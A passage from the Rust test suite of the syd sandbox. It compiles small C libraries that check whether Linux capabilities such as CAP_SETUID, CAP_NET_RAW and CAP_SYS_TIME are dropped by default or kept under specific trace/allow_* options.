        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_chown:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_CHOWN restrictions on library load.
fn test_syd_userns_drop_cap_chown_load_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_CHOWN is not dropped with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_CHOWN is permitted
    if (cap_get_flag(caps, CAP_CHOWN, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_CHOWN is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETGID restrictions on library load.
fn test_syd_userns_drop_cap_setgid_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SETGID must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETGID is permitted
    if (cap_get_flag(caps, CAP_SETGID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETGID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETGID restrictions on library load.
fn test_syd_userns_drop_cap_setgid_load_safesetid() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SETGID is not dropped with trace/allow_safe_setgid:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETGID is permitted
    if (cap_get_flag(caps, CAP_SETGID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETGID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_safe_setgid:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETGID restrictions on library load.
fn test_syd_userns_drop_cap_setgid_load_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SETGID is not dropped with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETGID is permitted
    if (cap_get_flag(caps, CAP_SETGID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETGID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETUID restrictions on library load.
fn test_syd_userns_drop_cap_setuid_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SETUID must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETUID is permitted
    if (cap_get_flag(caps, CAP_SETUID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETUID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETUID restrictions on library load.
fn test_syd_userns_drop_cap_setuid_load_safesetid() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SETUID is not dropped with trace/allow_safe_setuid:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETUID is permitted
    if (cap_get_flag(caps, CAP_SETUID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETUID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_safe_setuid:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETUID restrictions on library load.
fn test_syd_userns_drop_cap_setuid_load_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SETUID is not dropped with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETUID is permitted
    if (cap_get_flag(caps, CAP_SETUID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETUID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions on library load.
fn test_syd_userns_drop_cap_net_bind_service_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_NET_BIND_SERVICE must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_BIND_SERVICE is permitted
    if (cap_get_flag(caps, CAP_NET_BIND_SERVICE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_BIND_SERVICE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions on library load.
fn test_syd_userns_drop_cap_net_bind_service_load_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_BIND_SERVICE is permitted
    if (cap_get_flag(caps, CAP_NET_BIND_SERVICE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_BIND_SERVICE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions on library load.
fn test_syd_userns_drop_cap_net_bind_service_load_unsafe_bind() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_bind:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_BIND_SERVICE is permitted
    if (cap_get_flag(caps, CAP_NET_BIND_SERVICE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_BIND_SERVICE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_bind:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_RAW restrictions on library load.
fn test_syd_userns_drop_cap_net_raw_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_NET_RAW must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_RAW is permitted
    if (cap_get_flag(caps, CAP_NET_RAW, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_RAW is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_RAW restrictions on library load.
fn test_syd_userns_drop_cap_net_raw_load_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_RAW is permitted
    if (cap_get_flag(caps, CAP_NET_RAW, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_RAW is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_RAW restrictions on library load.
fn test_syd_userns_drop_cap_net_raw_load_unsafe_socket() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_socket:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_RAW is permitted
    if (cap_get_flag(caps, CAP_NET_RAW, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_RAW is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_socket:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_TIME restrictions on library load.
fn test_syd_userns_drop_cap_sys_time_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SYS_TIME must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_TIME is permitted
    if (cap_get_flag(caps, CAP_SYS_TIME, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_TIME is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_TIME restrictions on library load.
fn test_syd_userns_drop_cap_sys_time_load_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_TIME is permitted
    if (cap_get_flag(caps, CAP_SYS_TIME, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_TIME is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_TIME restrictions on library load.
fn test_syd_userns_drop_cap_sys_time_load_unsafe_time() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_time:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_TIME is permitted
    if (cap_get_flag(caps, CAP_SYS_TIME, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_TIME is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_time:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYSLOG restrictions on library load.
fn test_syd_userns_drop_cap_syslog_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

